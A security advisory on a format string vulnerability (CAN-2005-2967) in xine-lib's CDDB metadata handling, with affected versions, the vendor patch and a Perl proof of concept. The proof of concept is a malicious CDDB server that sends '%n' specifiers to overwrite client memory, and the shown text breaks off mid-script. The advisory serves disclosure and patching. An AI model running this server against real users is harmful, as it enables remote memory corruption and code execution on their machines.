[UNIX] xine based CD Player Format String

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  xine based CD Player Format String
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SUMMARY

" <http://xinehq.de/> xine is a free multimedia player. It plays back CDs, 
DVDs, and VCDs. It also decodes multimedia files like AVI, MOV, WMV, and 
MP3 from local disk drives, and displays multimedia streamed over the 
Internet. It interprets many of the most common multimedia formats 
available - and some of the most uncommon formats, too."

By setting up a malicious CDDB server, an attacker can overwrite arbitrary 
memory locations with arbitrary data using Xine based CD Players.

DETAILS

Vulnerable Systems:
 * Xine versions 1-beta releases starting with and including 1-beta3
 * Xine versions 1-rc releases
 * Xine versions 1.0 releases up to and including 1.0.2
 * Xine version 1.1.0 release

Immune Systems:
 * Xine 0.9 and prior
 * Xine versions 1-alpha releases
 * Xine versions 1-beta releases prior to 1-beta3
 * Xine versions 1.0 releases starting with and including 1.0.3
 * Xine version 1.1.1

When playing an Audio CD, using xine-lib based media application, the 
library contacts a CDDB server to retrieve metadata like the title and 
artist's name. During processing of this data, a response from the server, 
which is located in memory on the stack, is passed to the fprintf() 
function as a format string.

An attacker can set up a malicious CDDB server and trick the client into 
using this server instead of the pre-configured one. Alternatively, any 
user and therefore the attacker can modify entries in the official CDDB 
server. Using this format string vulnerability, attacker-chosen data can 
be written to an attacker-chosen memory location. This allows the attacker 
to alter the control flow and to execute malicious code with the 
permissions of the user running the application.

Although it requires the user to play an Audio CD, this vulnerability can 
still be exploited remotely, because a xine Audio CD MRL (media resource 
locator) could be embedded into a website.

Vendor Status:
The vendor as issued a patch that can be found at:  
<http://cvs.sourceforge.net/viewcvs.py/xine/xine-lib/src/input/input_cdda.c?r1=1.77&r2=1.78>
 
http://cvs.sourceforge.net/viewcvs.py/xine/xine-lib/src/input/input_cdda.c?r1=1.77&r2=1.78.

CVE Information:
 <http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2967> 
CAN-2005-2967

Proof of Concept:
#!/usr/bin/perl --

# xine-cddb-server
# by Ulf Harnhammar in 2005
# I hereby place this program in the public domain.

use strict;
use IO::Socket;

$main::port = 8880;
$main::timeout = 5;


# *** SUBROUTINES ***


sub mysend($$)
{
  my $file = shift;
  my $str = shift;

  print $file "$str\n";
  print "SENT:  $str\n";
} # sub mysend


sub myreceive($)
{
  my $file = shift;
  my $inp;

  eval
  {
    local $SIG{ALRM} = sub { die "alarm\n" };
    alarm $main::timeout;
    $inp = <$file>;
    alarm 0;
  };

  if ($@ eq "alarm\n") { $inp = ''; print "TIMED OUT\n"; }
  $inp =~ tr/\015\012\000//d;
  print "RECEIVED:  $inp\n";
  $inp;
} # sub myreceive


# *** MAIN PROGRAM ***


{
  my $server = IO::Socket::INET->new( Proto     => 'tcp',
                                      LocalPort => $main::port,
                                      Listen    => SOMAXCONN,
                                      Reuse     => 1);
  die "can't set up server!\n" unless $server;


  while (my $client = $server->accept())
  {
    $client->autoflush(1);
    print 'connection from '.$client->peerhost."\n";


    mysend($client, '201 metaur CDDBP server v1.5PL2 ready at '.
           scalar localtime);

    while (my $str = myreceive($client))
    {
      if ($str =~ m/^cddb hello ([^ ]+) ([^ ]+) (.+)$/i)
      {
        mysend($client, "200 Hello and welcome $1\@$2 running $3.");
        next;
      }

      if ($str =~ m/^proto (\d+)$/i)
      {
        mysend($client, "201 OK, CDDB protocol level now: $1");
        next;
      }

      if ($str =~ m/^cddb query ([0-9a-f]+)/i)
      {
        mysend($client, "200 rock $1 Exploiters / Formatted and 
Stringed");
        next;
      }

      if ($str =~ m/^cddb read ([a-z]+) ([0-9a-f]+)/i)
      {
        my $docum = <<HERE;
210 $1 $2 CD database entry follows (until terminating \`.')
# %n%n%n%n
DISCID=$2
DTITLE=Exploiters / Formatted and Stringed
DYEAR=2005
DGENRE=Rock
TTITLE0=Format
TTITLE1=String
TTITLE2=Bug
EXTD= YEAR: 2005
EXTT0=
EXTT1=
EXTT2=
PLAYORDER=


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